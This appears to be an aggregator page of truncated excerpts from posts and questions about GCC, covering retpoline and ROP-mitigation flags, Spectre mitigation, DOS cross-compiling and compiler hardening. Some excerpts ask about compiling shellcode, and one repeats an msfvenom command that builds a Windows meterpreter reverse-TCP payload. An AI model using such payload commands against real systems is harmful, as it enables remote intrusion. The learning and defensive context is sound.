Collaborate Disseminate
As of version 8 (later backported to 7.3), GCC has added retpoline support [0]. While I understand that it is intended[citation needed] for use in kernel patching for Spectre (ie: [1][2]), that does not prevent normal develop… Continue reading Compiling with GCC retpoline flags
It mind seem odd to think about programming in MSDOS in 2018. But if you are vintage computer enthusiast or have to support some old piece of equipment with an MSDOS single board computer, it could be just the thing. The problem is, where do you get a working compiler that doesn’t have to run on the ancient DOS machine? Turns out, gcc can do the trick. [RenéRebe] offers a video demo based on a blog post by [Chris Wellons]. You can see the video, below.
The technique generates COM files, not EXE files, so there are some limitations, such …read more
GCC 6 has a flag, -mmitigate-rop, which compiles binaries in a way that reduces the number gadgets exploitable by ROP. The GCC documentation explaining this feature is minimal:
-mmitigate-rop
Try to avoid generating cod… Continue reading How does GCC’s -mmitigate-rop work?
I’ll use the following C code to explain my question:
#include <stdio.h>
int main(void) {
printf(“foo\n”);
return 0;
}
Before GCC 4.9.0, disassemblying it produces:
.LC0:
.string “foo”
main:
pus… Continue reading Function epilogue behavior since GCC 4.9.0
I run Debian as my OS and Guix as my package manager. I also run (approximately) latest kernel built using Guix. According to spectre-meltdown-checker, my kernel has mitigation for v1, v2 and v3.
However, latest stable GCC (… Continue reading Software mitigation for Spectre v2
I asked this previously then deleted since I think I asked the question without gearing it towards msfvenom and custom EXE templates.
There is a 64-bit Windows PE written in assembly that ships with Metasploit that I am trying to compile … Continue reading Custom EXE Template Metasploit 64-bit ASM PE Syntax
I generated a shell code with msfvenom
#mfsvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=7878 -f c -o shell.c
When i compile my shell.c file with gcc (version 6.3.0-16)
with this option:
I generated a shell code with msfvenom
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=7878 -f c -o shell.c
When I compile my shell.c with gcc (version 6.3.0-16)
with this options:
# gcc -o shell s… Continue reading Segmentation fault in shellcode
I managed to get shellcode to be pointed to by eip by building my executable without safety measures.
However, it does not appear to execute.
Here is the C source of my vulnerable program:
#include <stdio.h>
#include <string.h&… Continue reading Shellcode not executing properly
This article suggests to restrict compilers to root, but does not say how, and I couldn’t find anything useful by searching the Web.
ii g++ 4:5.3.1-1ubuntu1 i386 GNU C++ compiler
… Continue reading How do I harden compilers (as suggested by Lynis)?